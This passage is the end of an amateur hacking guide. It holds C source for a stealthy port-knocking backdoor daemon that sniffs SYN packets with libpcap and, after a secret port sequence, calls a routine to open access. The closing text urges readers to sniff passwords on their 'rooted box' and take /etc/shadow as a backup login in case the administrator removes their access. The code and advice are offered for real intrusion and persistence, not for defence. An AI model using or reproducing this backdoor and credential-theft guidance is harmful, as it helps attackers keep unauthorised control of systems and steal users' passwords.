#define CDR_BPF_ORCON	" or "
    char 		pcap_err[PCAP_ERRBUF_SIZE]; /* buffer for pcap errors */
    pcap_t 		*cap;                       /* capture handler */
    bpf_u_int32 	network,netmask;
    struct pcap_pkthdr 	*phead;
    struct bpf_program 	cfilter;	           /* the compiled filter */
    struct iphdr 	*ip;
    struct tcphdr 	*tcp;
    u_char		*pdata;
    /* for filter compilation */
    char		*filter;
    char		portnum[6];
    /* command line */
    int			cdr_noise = 0;
    /* the usual int i */
    int			i;
    /* for resolving the CDR_ADDRESS */
#ifdef CDR_ADDRESS
    struct hostent	*hent;
#endif CDR_ADDRESS



    /* check for the one and only command line argument */
    if (argc>1) {
	if (!strcmp(argv[1],CDR_NOISE_COMMAND)) 
	    cdr_noise++;
	else 
	    exit (0);
    } 

    /* resolve our address - if desired */
#ifdef CDR_ADDRESS
    if ((hent=gethostbyname(CDR_ADDRESS))==NULL) {
	if (cdr_noise) 
	    fprintf(stderr,"gethostbyname() failed\n");
	exit (0);
    }
#endif CDR_ADDRESS

    /* count the ports our user has #defined */
    while (cports[cportcnt++]);
    cportcnt--;
#ifdef DEBUG
    printf("%d ports used as code\n",cportcnt);
#endif DEBUG

    
    if (cports[0]) {
	memset(&portnum,0,6);
	sprintf(portnum,"%d",cports[0]);
	filter=(char *)smalloc(strlen(CDR_BPF_PORT)+strlen(portnum)+1);
	strcpy(filter,CDR_BPF_PORT);
	strcat(filter,portnum);
    } else {
	if (cdr_noise) 
	    fprintf(stderr,"NO port code\n");
	exit (0);
    } 


    for (i=1;i<cportcnt;i++) {
	if (cports[i]) {
	    memset(&portnum,0,6);
	    sprintf(portnum,"%d",cports[i]);
	    if ((filter=(char *)realloc(filter,
			    strlen(filter)+
			    strlen(CDR_BPF_PORT)+
			    strlen(portnum)+
			    strlen(CDR_BPF_ORCON)+1))
		    ==NULL) {
		if (cdr_noise)
		    fprintf(stderr,"realloc() failed\n");
		exit (0);
	    }
	    strcat(filter,CDR_BPF_ORCON);
	    strcat(filter,CDR_BPF_PORT);
	    strcat(filter,portnum);
	}
    } 

#ifdef DEBUG
    printf("DEBUG: '%s'\n",filter);
#endif DEBUG

    /* initialize the pcap 'listener' */
    if (pcap_lookupnet(CDR_INTERFACE,&network,&netmask,pcap_err)!=0) {
	if (cdr_noise)
	    fprintf(stderr,"pcap_lookupnet: %s\n",pcap_err);
	exit (0);
    }

    /* open the 'listener' */
    if ((cap=pcap_open_live(CDR_INTERFACE,CAPLENGTH,
		    0,	/*not in promiscuous mode*/
		    0,  /*no timeout */
		    pcap_err))==NULL) {
	if (cdr_noise)
	    fprintf(stderr,"pcap_open_live: %s\n",pcap_err);
	exit (0);
    }

    /* now, compile the filter and assign it to our capture */
    if (pcap_compile(cap,&cfilter,filter,0,netmask)!=0) {
	if (cdr_noise) 
	    capterror(cap,"pcap_compile");
	exit (0);
    }
    if (pcap_setfilter(cap,&cfilter)!=0) {
	if (cdr_noise)
	    capterror(cap,"pcap_setfilter");
	exit (0);
    }

    /* the filter is set - let's free the base string*/
    free(filter);
    /* allocate a packet header structure */
    phead=(struct pcap_pkthdr *)smalloc(sizeof(struct pcap_pkthdr));

    /* register signal handler */
    signal(SIGABRT,&signal_handler);
    signal(SIGTERM,&signal_handler);
    signal(SIGINT,&signal_handler);

    /* if we don't use DEBUG, let's be nice and close the streams */
#ifndef DEBUG
    fclose(stdin);
    fclose(stdout);
    fclose(stderr);
#endif DEBUG

    /* go daemon */
    switch (i=fork()) {
	case -1:
	    if (cdr_noise)
		fprintf(stderr,"fork() failed\n");
	    exit (0);
	    break;	/* not reached */
	case 0:
	    /* I'm happy */
	    break;
	default:
	    exit (0);
    }

    /* main loop */
    for(;;) {
	/* if there is no 'next' packet in time, continue loop */
	if ((pdata=(u_char *)pcap_next(cap,phead))==NULL) continue;
	/* if the packet is to small, continue loop */
	if (phead->len<=(ETHLENGTH+IP_MIN_LENGTH)) continue; 
	
	/* make it an ip packet */
	ip=(struct iphdr *)(pdata+ETHLENGTH);
	/* if the packet is not IPv4, continue */
	if ((unsigned char)ip->version!=4) continue;
	/* make it TCP */
	tcp=(struct tcphdr *)(pdata+ETHLENGTH+((unsigned char)ip->ihl*4));

	/* FLAG check's - see rfc793 */
	/* if it isn't a SYN packet, continue */
	if (!(ntohs(tcp->rawflags)&0x02)) continue;
	/* if it is a SYN-ACK packet, continue */
	if (ntohs(tcp->rawflags)&0x10) continue;

#ifdef CDR_ADDRESS
	/* if the address is not the one defined above, let it be */
	if (hent) {
#ifdef DEBUG
	    if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length)) {
		printf("Destination address mismatch\n");
		continue;
	    }
#else 
	    if (memcmp(&ip->daddr,hent->h_addr_list[0],hent->h_length)) 
		continue;
#endif DEBUG
	}
#endif CDR_ADDRESS

	/* it is one of our ports, it is the correct destination 
	 * and it is a genuine SYN packet - let's see if it is the RIGHT
	 * port */
	if (ntohs(tcp->dest_port)==cports[actport]) {
#ifdef DEBUG
	    printf("Port %d is good as code part %d\n",ntohs(tcp->dest_port),
		    actport);
#endif DEBUG
#ifdef CDR_SENDER_ADDR
	    /* check if the sender is the same */
	    if (actport==0) {
		memcpy(&sender,&ip->saddr,4);
	    } else {
		if (memcmp(&ip->saddr,&sender,4)) { /* sender is different */
		    actport=0;
#ifdef DEBUG
		    printf("Sender mismatch\n");
#endif DEBUG
		    continue;
		}
	    }
#endif CDR_SENDER_ADDR
	    /* it is the rigth port ... take the next one
	     * or was it the last ??*/
	    if ((++actport)==cportcnt) {
	
		cdr_open_door();
		actport=0;
	    } 
	} else {
#ifdef CDR_CODERESET
	    actport=0;
#endif CDR_CODERESET
	    continue;
	}
    } /* end of main loop */

    return 0;
}

----------------cut----------------

Well, folks we have done with our hacking *thingie*. You can do 
sniffing too on your rooted machine. Try search it on the net coz sniff
might help ya to collect more passwd from other machine :D Remember to
get the shadow file it's located on /etc/shadow on Linux machine. It's 
for your backup login if the system admin killed your login and 
backdoor.

Thats all for now folks. Enjoy your rooted b0x. Happy hunting. My first
'Hacking Guide' Maybe I'll do better next time, and if I have more time
I'll add about 1000 (more) other exploits, remote ones, new stuff, new 
techniques, etc... See ya!

=======================================================================
Securologix - Security Research Team         http://www.securologix.com
=======================================================================